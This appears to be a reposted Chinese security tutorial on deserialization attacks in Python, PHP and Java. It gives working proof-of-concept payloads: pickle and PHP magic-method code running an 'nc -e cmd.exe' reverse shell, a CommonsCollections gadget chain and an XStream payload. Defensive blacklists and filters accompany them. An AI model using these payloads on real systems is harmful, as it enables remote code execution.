百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

关于反序列化攻击方法探究

toyiye 2024-05-25 20:12 26 浏览 0 评论

原创: 4ct10n 合天智汇

grammar_cjkRuby: true

反序列化存在于各个开发语言的web应用,PHP、Python、Java都无一例外,趁着假期闲着无聊总结一下

Python 反序列化漏洞

简介

Python的主流序列化方式有两种Pickle&Json这里介绍由于Pickle的错误使用造成的漏洞利用

成因

Python 中的pickle模块是可以将各种对象序列化存储的,可支持的序列化对象有整型、浮点、元组、数组、函数、类等。这里之所以产生漏洞其原因是可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发 __reduce__函数从而触发自己的恶意代码。看一下利用方法

利用

Python Pickle 序列化函数有三类分别如下:

import
 pickle
import
 cPickle 
as
 pickle
from
 pickle 
import
 
Pickle
from
 pickle 
import
 
Unpickle

最后一种只能存储到文件,不可以到内存

具体的利用方法呢有两种形式

1. 利用 __del__ 魔法函数 触发恶意代码

2. 利用 __reduce__触发反序列化重构

情况1 析构函数触发

触发条件比较苛刻,在攻击对象中必须自己包含析构函数,如下代码

Generate.py

import
 pickle
class
 test(
object
):
 
def
 __init__(
self
):
 
self
.a = 
"nc -e cmd.exe 127.0.0.1 81"
with
 open(
'log'
,
'wb'
) 
as
 f:
 pickle.
dump
(test(),f)

Test.py

import
 pickle
import
 os
class
 test(
object
):
 
def
 __init__(
self
):
 
pass
 
def
 __del__(
self
):
 os.system(
self
.a)
with
 open(
'log'
,
'r'
) 
as
 f:
 pickle.load(f)

情况2 利用reduce魔法函数

利用reduce魔法函数重构序列化类,需要注意的是反序列化之后要使用的模块必须由反序列化函数提供,也就是说即使在Test.py中存在着该模块reduce函数中也不能引用,这一点比较关键。

Generate.py

import
 pickle
class
 test(
object
):
 
def
 __reduce__(
self
):
 
return
 
eval
,(
"__import__('os').system('nc -e cmd 127.0.0.1 81')"
,)
with
 open(
'log'
,
'wb'
) 
as
 f:
 pickle.
dump
(test(),f)
import
 pickle
import
 subprocess
class
 test(
object
):
 
def
 __reduce__(
self
):
 
return
 subprocess.call,(
"nc -e cmd.exe 127.0.0.1 81 "
,)
with
 open(
'log'
,
'wb'
) 
as
 f:
 pickle.
dump
(test(),f)

Test.py

import
 pickle
with
 open(
'log'
, 
'r'
) 
as
 f:
 pickle.load(f)

防范

那么有了这个攻击思想怎么去防范呢,其实方法很简单就是在反序列化之前查看,反序列化内容有没有关键字。这里介绍两种防范方法

1 @装饰器

import
 pickle
from
 functools 
import
 wraps
black_list = [
'subprocess'
]
def
 __HookPickle__(func):
 
@wraps
(func)
 
def
 f(*args):
 data = args[
0
].read()
 
for
 i 
in
 black_list:
 
if
 i 
in
 data:
 
exit
()
 args[
0
].seek(
0
)
 
return
 func(*args)
 
return
 f
@__HookPickle__
def
 load(f):
 
return
 pickle.load(f)
with
 open(
'log'
, 
'r'
) 
as
 f:
 load(f)

2 直接过滤

这里直接将反序列化调用的REDUCE参数 进行过滤从而达到防范的目的

unpkler.dispatch[REDUCR] 其中REDUCE='R'

然而unpkler.dispatch['R'] = reload_reduce

reload_reduce函数见下图

_hook_call 其实封装的是reload_reduce函数......

from
 os 
import
 *
from
 sys 
import
 *
from
 pickle 
import
 *
from
 io 
import
 open 
as
 
Open
from
 pickle 
import
 
Unpickler
 
as
 
Unpkler
from
 pickle 
import
 
Pickler
 
as
 
Pkler
black_type_list = [
eval
]
class
 
FilterException
(
Exception
):
 
def
 __init__(
self
, value):
 
super
(
FilterException
, 
self
).__init__(
 
'the callable object {value} is not allowed'
.format(value=str(value)))
def
 _hook_call(func):
 
def
 wrapper(*args, **kwargs):
 
print
 args[
0
].stack
 
if
 args[
0
].stack[-
2
] 
in
 black_type_list:
 
raise
 
FilterException
(args[
0
].stack[-
2
])
 
return
 func(*args, **kwargs)
 
return
 wrapper
def
 LOAD(file):
 unpkler = 
Unpkler
(file)
 unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
 
return
 
Unpkler
(file).load()
with
 
Open
(
"test"
,
"rb"
) 
as
 f:
 LOAD(f)

最后的最后你需要一个black_list ,这里提供一个

[
eval
, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
 tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
 lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
 rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
 execve, execvp, execvpe, 
exit
, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
 spawnv, spawnve, spawnvp, spawnvpe, load, loads, subprocess, commands]


PHP 反序列化漏洞

简介

PHP反序列化漏洞虽然利用的条件比Python的反序列化苛刻的多,其原因在于没有向python 魔法函数reduce那样重构一个类,因此必须有成熟的条件后才能进行攻击,同时也限定了PHP的反序列化漏洞理解起来比较简单。目前在网上有许多关于PHP的反序列化漏洞解析,这里介绍一种新的利用方法。

成因

和python 反序列化第一种成因是一样的,由于触发魔法函数造成恶意代码执行。在PHP中主要序列化函数是serialize(),unserialize(),在执行unserialize后会触发 析构函数或是wakeup函数。根本原因还是由于class的魔法函数

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • 析构函数__destruct():当对象被销毁时会自动调用。
  • __wakeup() :如前所提,unserialize()时会自动调用。

利用

简单利用

<?php 
/**
* 
*/
class
 test
{
 
function
 __destruct(){
 echo 
`nc -e cmd.exe 127.0.0.1 81`
;
 }
}
$s = 
'O:4:"test":0:{}'
;
unserialize($s);
 ?>
<?php 
/**
* 
*/
class
 test
{
 
function
 __wakeup(){
 echo 
`nc -e cmd.exe 127.0.0.1 81`
;
 }
}
// $a = new test();
$s = 
'O:4:"test":0:{}'
;
// echo $s;
unserialize($s);
 ?>

命名空间反序列化运用

<?php 
namespace
 controllers;
class
 
User
 
{
 
function
 __destruct()
 {
 echo 
`nc -e cmd.exe 127.0.0.1 81`
;
 }
}
$a = 
'O:16:"controllers\User":0:{}'
;
unserialize($a);

和上面的效果是一样的

防范

严格使用魔法函数,检查用户的输入,永远不要相信用户的输入


Java 反序列化漏洞

简介

Java的反序列化漏洞影响非常严重,对于Java来说序列化是将一个对象转换成其他可存储的格式比如二进制字符串、XML、Json格式等。因此在Java的反序列化漏洞中主要有三种利用方式

  1. ObjectIntputStream 对二进制字符串进行反序列化
  2. xstream 对xml进行反序列化
  3. fastjson.JSON 对json数据进行反序列化

每一类型的触发方式不是很相同 可以将Java 反序列化漏洞归结如下

第一种

  1. JAVA Apache-CommonsCollections 序列化漏洞

第二种

  1. structs2-052 xstream
  2. Weblogic XMLdecoder

第三种

  1. Fastjson反序列化漏洞

成因

本文先针对1、2种情况进行漏洞分析

第一种情况,ObjectIntputStream在反序列化对象时会调用readObject方法,如果readObject方法中有危险函数就可能造成命令执行

第二种情况,xstream在进行xml格式解析时会重构对象从而使恶意代码执行

利用

先分析两个demo ,接着用两个真实的cve介绍漏洞的成因

1. Serializable

import
 java.io.*;
public
 
class
 test{
 
public
 
static
 
void
 main(
String
 args[]) 
throws
 
Exception
{
 
MySerializable
 
Unsafe
 = 
new
 
MySerializable
();
 
Unsafe
.name = 
"Only Test"
;
 
FileOutputStream
 fos = 
new
 
FileOutputStream
(
"object"
);
 
ObjectOutputStream
 os = 
new
 
ObjectOutputStream
(fos);
 
//将对象序列化存入文件
 os.writeObject(
Unsafe
);
 os.close();
 
//从文件中读取序列化内容并反序列化
 
FileInputStream
 fis = 
new
 
FileInputStream
(
"object"
);
 
ObjectInputStream
 ois = 
new
 
ObjectInputStream
(fis);
 
//恢复对象
 
MySerializable
 objectFromDisk = (
MySerializable
)ois.readObject();
 
System
.
out
.println(objectFromDisk.name);
 ois.close();
 }
}
class
 
MySerializable
 
implements
 
Serializable
{
 
public
 
String
 name;
 
//重写readObject 反序列化方法
 
private
 
void
 readObject(java.io.
ObjectInputStream
 
in
) 
throws
 
IOException
, 
ClassNotFoundException
{
 
//执行默认的readObject()方法
 
in
.defaultReadObject();
 
//触发恶意代码
 
Runtime
.getRuntime().
exec
(
"calc"
);
 }
}

MySerializable 实现了Serializable接口将readObject 方法重写并且其中包含了弹出计算器的代码,在反序列化的时候会触发该函数并弹出计算器

2. xstream

payload构造方法

git clone https:
//github.com/mbechler/marshalsec.git
mvn clean 
package
 -
DskipTests
java -cp target/marshalsec-
0.0
.
3
-SNAPSHOT-all.jar marshalsec.
XStream
 
ImageIO
 calc

xstream的反序列化确实可以造成命令执行,如下代码

import
 java.io.
IOException
;
import
 com.thoughtworks.xstream.
XStream
;
import
 com.thoughtworks.xstream.io.xml.
DomDriver
;
import
 java.beans.
EventHandler
;
import
 java.util.
Set
;
import
 java.util.
TreeSet
;
public
 
class
 
Main
 {
 
public
 
static
 
void
 main(
String
[] args) 
throws
 
IOException
 {
 
XStream
 xstream = 
new
 
XStream
();
 
String
 payload = 
"<map><entry><jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command><string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/></entry></map>"
;
 xstream.fromXML(payload);
 }
}

xstream从xml中解析出对象后执行恶意代码

两种类型的漏洞

Structs2-052

漏洞存在于structs2-rest-plugin-2.5.12中

从请求数据中获得request请求内容,以文件的方式尽心读取,将对象传递给handler.toObject的方法,此时的handler是XStreamHandler 其方法如下

成功触发xstream的fromxml方法

有个这个分析payload的利用方式就简单了

从xml到命令执行还没有搞懂,有时间继续搞一搞

Apache commons-collection.jar

趁着放假,把该漏洞从头到尾的复现了一遍,受影响的的web应用有JBoss等

其根本原因是 org.apache.commons.collections.functors.InvokerTransformer存在反射执行函数,并且在 其中有触发java反射机制

其中的transform函数起到关键作用

可以实现执行input 对象中iMethodName方法并且以iArgs为参数

那么怎么做到命令执行呢

 
Transformer
 trans = 
new
 
InvokerTransformer
(
"append"
,
new
 
Class
[]{
String
.
class
},
new
 
Object
[]{
"xxx"
});
 
Object
 a = trans.transform(
new
 
StringBuffer
(
"asd"
));
 
System
.
out
.
print
(a);

可以看到主要是transform进行命令执行,如果想要执行系统命令需要什么指令

Runtime
 r = (
Runtime
)
Class
.forName(
"java.lang.Runtime"
).getMethod(
"getRuntime"
,newjava.lang.
Class
[]{}).invoke(
null
,newObject[]{}); 

有多层包含关系,那么可以利用java的ChainedTransformer进行命令执行

可以看到执行链,一层套一层,第一层的object将带入第二层以此类推

那么可以构造以下payload

package
 test;
import
 java.io.
File
;
import
 java.io.
FileOutputStream
;
import
 java.util.
HashMap
;
import
 java.util.
Map
;
import
 java.util.
Map
.
Entry
;
import
 org.apache.commons.collections.
Transformer
;
import
 org.apache.commons.collections.functors.
ChainedTransformer
;
import
 org.apache.commons.collections.functors.
ConstantTransformer
;
import
 org.apache.commons.collections.functors.
InvokerTransformer
;
import
 org.apache.commons.collections.map.
TransformedMap
;
public
 
class
 orign {
 
public
 
static
 
void
 main(
String
[] args) {
 
Transformer
[] transformers = 
new
 
Transformer
[]{
 
new
 
ConstantTransformer
(
Runtime
.
class
),
 
new
 
InvokerTransformer
(
"getMethod"
, 
new
 
Class
[]{
String
.
class
,
Class
[].
class
},
 
new
 
Object
[]{
"getRuntime"
, 
new
 
Class
[
0
]}),
 
new
 
InvokerTransformer
(
"invoke"
, 
new
 
Class
[]{
Object
.
class
,
Object
[].
class
}, 
 
new
 
Object
[]{
null
, 
new
 
Object
[
0
]}),
 
new
 
InvokerTransformer
(
"exec"
, 
new
 
Class
[]{
String
.
class
}, 
 
new
 
Object
[]{
"calc"
})
 };
 
Transformer
 chain = 
new
 
ChainedTransformer
(transformers) ;
 chain.transform(
"xx"
);
 }
}

目前找到了触发恶意代码的方式,那么回过头想一想反序列化与transform函数之间还需要什么东西去连接

接下来就是寻找一个类继承Serializbale接口 包含readObject方法并且该方法中包含触发transform函数的方式

巧妙的是在TransformedMap(是Map的子类)中正好有一个setValu可以触发transform方法

此时关系图就变成了下图

此时如果有某个类的readObject方法含有Map 迭代的话 并且执行了setValue函数就完美了。

凑巧的是真有这样的类,在 sun.reflect.annotation.AnnotationInvocationHandler中

该类的源码地址

http://www.docjar.com/html/api/sun/reflect/annotation/AnnotationInvocationHandler.java.html

该类继承了Serializable并冲写了readObject方法

最后在setValue函数处触发,至此构成了完整的利用链,见下图

为了方便演示将Person代替AnnotationInvocationHandler类进行处理

// Person.java
package
 test;
import
 java.io.
IOException
;
import
 java.io.
Serializable
;
import
 java.security.
KeyStore
.
Entry
;
import
 java.util.
Map
;
public
 
class
 
Person
 
implements
 
Serializable
{
 
private
 
String
 name;
 
public
 
Map
 map;
 
private
 
void
 readObject(java.io.
ObjectInputStream
 
in
) 
throws
 
ClassNotFoundException
,
IOException
{
 
in
.defaultReadObject();
 
if
(map != 
null
){
 
Map
.
Entry
 a = (
Map
.
Entry
) map.entrySet().iterator().
next
();
 a.setValue(
"what?"
);
 }
 }
}

生成序列化文件

//Generate.java
package
 test;
import
 java.io.
File
;
import
 java.io.
FileOutputStream
;
import
 java.io.
ObjectOutputStream
; 
import
 java.util.
Map
;
import
 java.util.
HashMap
; 
import
 java.lang.annotation.
Target
;
import
 java.lang.reflect.
Constructor
; 
import
 org.apache.commons.collections.
Transformer
;
import
 org.apache.commons.collections.map.
TransformedMap
;
import
 org.apache.commons.collections.functors.
InvokerTransformer
;
import
 org.apache.commons.collections.functors.
ChainedTransformer
;
import
 org.apache.commons.collections.functors.
ConstantTransformer
; 
public
 
class
 
TransformTest
 { 
 
public
 
static
 
Object
 getAnnotationInvocationHandler(
String
 command) 
throws
 
Exception
 {
 
String
[] execArgs = command.split(
","
);
 
Transformer
[] transformers = 
new
 
Transformer
[] {
 
new
 
ConstantTransformer
(
Runtime
.
class
),
 
new
 
InvokerTransformer
(
"getMethod"
, 
new
 
Class
[] {
 
String
.
class
, 
Class
[].
class
 }, 
new
 
Object
[] {
 
"getRuntime"
, 
new
 
Class
[
0
] }),
 
new
 
InvokerTransformer
(
"invoke"
, 
new
 
Class
[] {
 
Object
.
class
, 
Object
[].
class
 }, 
new
 
Object
[] {
 
null
, 
new
 
Object
[
0
] }),
 
new
 
InvokerTransformer
(
"exec"
, 
new
 
Class
[] {
 
String
.
class
 }, 
new
 
Object
[] {
"calc.exe"
})};
 
Transformer
 transformerChain = 
new
 
ChainedTransformer
(transformers);
 
Map
 tempMap = 
new
 
HashMap
();
 tempMap.put(
"value"
, 
"value"
);
//这里不能少要不然setValue 会执行出错
 
Map
 exMap = 
TransformedMap
.decorate(tempMap, 
null
, transformerChain);
 
//setValue会触发transform方法
// Map.Entry onlyElement = (Map.Entry) exMap.entrySet().iterator().next();
// onlyElement.setValue("foobar");
 
Person
 p = 
new
 
Person
();
 p.map = exMap;
 
return
 p;
 } 
 
public
 
static
 
void
 main(
String
[] args) 
throws
 
Exception
 {
 
String
 command = (args.length != 
0
) ? args[
0
] : 
"calc.exe"
; 
 
Object
 obj = getAnnotationInvocationHandler(command);
 
File
 f = 
new
 
File
(
"bbb"
);
 
ObjectOutputStream
 
out
 = 
new
 
ObjectOutputStream
(
new
 
FileOutputStream
(f));
 
out
.writeObject(obj);
 }
}

反序列化触发漏洞

//unserialize.java
package
 test;
import
 java.io.
FileInputStream
;
import
 java.io.
ObjectInputStream
;
import
 java.lang.reflect.
Method
;
public
 
class
 unserialize {
 
public
 
static
 
void
 main(
String
[] args) 
throws
 
Exception
 {
 
FileInputStream
 
in
;
 
try
 {
 
in
 = 
new
 
FileInputStream
(
"bbb"
);
 
ObjectInputStream
 ins = 
new
 
ObjectInputStream
(
in
);
 ins.readObject();
 } 
catch
 (
Exception
 e) {
 
// TODO: handle exception
 }
 }
}

这就是整个的攻击流程总体来讲的话,反序话会触发对象readObject函数 ,恰巧在该函数中有能够触发反射链的Map.Entry setValue函数,从而造成了恶意代码执行。

这里给出测试样例地址

https://github.com/actionyz/vulhub/tree/master/Serialize

防范

对于xml的反序列化攻击可以添加对xstream反序列化的限制

对于commons-collections 将 java.io.ObjectInputStream 反序列化操作替换成SerialKiller,这样就可以利用白名单黑名单进行过滤。


参考资料

探秘Java反序列化漏洞一:序列化与反序列化 rui0.cn/archives/924

Java 反序列化漏洞从无到有 http://www.freebuf.com/column/155381.html

Java反序列化漏洞从入门到深入 https://xz.aliyun.com/t/2041

S2-052从Payload到执行浅析 http://www.freebuf.com/vuls/147170.html

common-collections中Java反序列化漏洞导致的RCE原理分析 http://www.91ri.org/14522.html

Commons Collections Java反序列化漏洞深入分析 https://security.tencent.com/index.php/blog/msg/97

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码